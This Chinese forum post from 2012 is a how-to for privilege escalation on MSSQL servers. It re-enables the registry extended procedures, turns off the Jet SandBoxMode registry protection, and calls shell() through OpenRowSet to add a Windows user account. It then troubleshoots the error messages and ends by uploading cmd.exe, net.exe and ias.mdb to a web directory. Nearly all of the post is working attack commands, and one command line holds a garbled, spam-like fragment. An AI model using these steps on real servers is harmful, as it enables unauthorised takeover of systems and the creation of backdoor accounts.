MSSQL沙盒模式提权问题总结

[复制链接]
查看335 | 回复0 | 2012-4-1 19:17:47 | 显示全部楼层 |阅读模式
恢复对注册表的读写存储。



dbccaddextendedproc('xp_regread','xpstar.dll')



dbccaddextendedproc('xp_regwrite','xpstar.dll')




修复沙盒的保护模式



execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--



查看'SandBoxMode'值是否已经变成0了。



execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'




最后调用沙盒模式



Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell("netuseritprogma单机传奇m/add")');



1.如果沙盒保护模式未“关闭”,会报错:



服务器:消息7357,级别16,状态2,行1



未能处理对象'selectshell("cmd.exe/cnetuseruserpasswd/add")'。OLEDB提供程序'microsoft.jet.oledb.4.0'指出该对象中没有任何列。



OLEDB错误跟踪[Non-interfaceerror:OLEDBproviderunabletoprocessobject,sincetheobjecthasnocolumnsProviderName='microsoft.jet.oledb.4.0',Query=selectshell("cmd.exe/cnetuseruserpasswd/add")']。




2.如果.mdb不存在或是输入路径错误



服务器:消息7399,级别16,状态1,行1



OLEDB提供程序'microsoft.jet.oledb.4.0'报错。



[OLE/DBproviderreturnedmessage:找不到文件'C:WINDOWSsystem32iasdnary1.mdb'。]



OLEDB错误跟踪[OLE/DBProvider'microsoft.jet.oledb.4.0'IDBInitialize::Initializereturned0x80004005:]。




3.如果输入过程中多了一些空格,也会报错。尤其要注意这点,很多人直接网上找文章复制粘贴进去执行。



服务器:消息7357,级别16,状态2,行1



未能处理对象'selectshell("cmd.exe/cnetuseruserpasswd/add")'。OLEDB提供程序'microsoft.jet.oledb.4.0'指出该对象中没有任何列。



OLEDB错误跟踪[Non-interfaceerror:OLEDBproviderunabletoprocessobject,sincetheobjecthasnocolumnsProviderName='microsoft.jet.oledb.4.0',Query=selectshell("cmd.exe/cnetuseruserpasswd/add")']。




4.如果mdb权限和cmd.exe权限不对,同样会也出现问题。



当mdb权限不对时,



服务器:消息7320,级别16,状态2,行1



未能对OLEDB提供程序'Microsoft.Jet.OLEDB.4.0'执行查询。



[OLE/DBproviderreturnedmessage:未知]



OLEDB错误跟踪[OLE/DBProvider'Microsoft.Jet.OLEDB.4.0'ICommandText::Executereturned0x80040e14]。




5.如果net权限不对时,却没有任何提示。



最终的提权办法就是在当前的web目录下面上传系统的ias.mdb和cmd.exe,net.exe三个文件。执行



select*fromopenrowset('microsoft.jet.oledb.4.0',';database=E:\we\bias.mdb','selectshell("E:\web\cmd.exe/cE:\web\net.exeuseruserpasswd/add")')



成功增加一个计算机用户。
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则